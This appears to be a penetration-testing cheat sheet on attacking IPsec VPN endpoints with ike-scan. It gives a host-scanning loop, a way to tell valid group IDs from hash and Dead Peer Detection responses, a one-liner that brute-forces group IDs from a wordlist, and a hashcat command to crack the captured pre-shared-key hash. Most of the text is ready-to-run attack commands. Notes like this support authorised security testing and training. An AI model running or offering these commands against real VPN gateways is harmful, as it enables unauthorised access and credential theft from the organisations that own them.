ike-scan
Quick and Dirty - Evidence Gathering:
for ike in $(cat ike-hosts.txt); do echo "[*] Testing $ike"; ike-scan -M -A -n cisco --trans=5,2,1,2 $ike -P; done
Obtaining the hash
There are several condition sets which can be used to determine if the group ID is correct for the hash received.
On older devices, the hash was only sent with the correct group ID. If you get a hash, but other responses do send the hash, the group ID which solicits hashes is correct.
If a response contains a Dead Peer Detection (DPD) flag, but other group IDs do not have DPD, group IDs which solicit DPD responses are correct.
Should all group IDs respond with a DPD, the device is patched and there is no way to determine what the group ID should be from outside the device or client.
These cases are only valid for default configurations. If an administrator of the device decided to turn off DPD, you could have a false negative to determine group ID.
ike-scan -M -A 1.1.1.1 --id=idguess -P
You can use the following one-liner to brute force for the ID:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/seclists/Miscellaneous/ike-groupid.txt
Use the following ikescan2john.py
script to output it in a format we can crack:
You should be able to crack it with this:
hashcat -m 5400 ike.hash -a 3 ?a?a?a?a?a?a?a -i -w4 -0
Last updated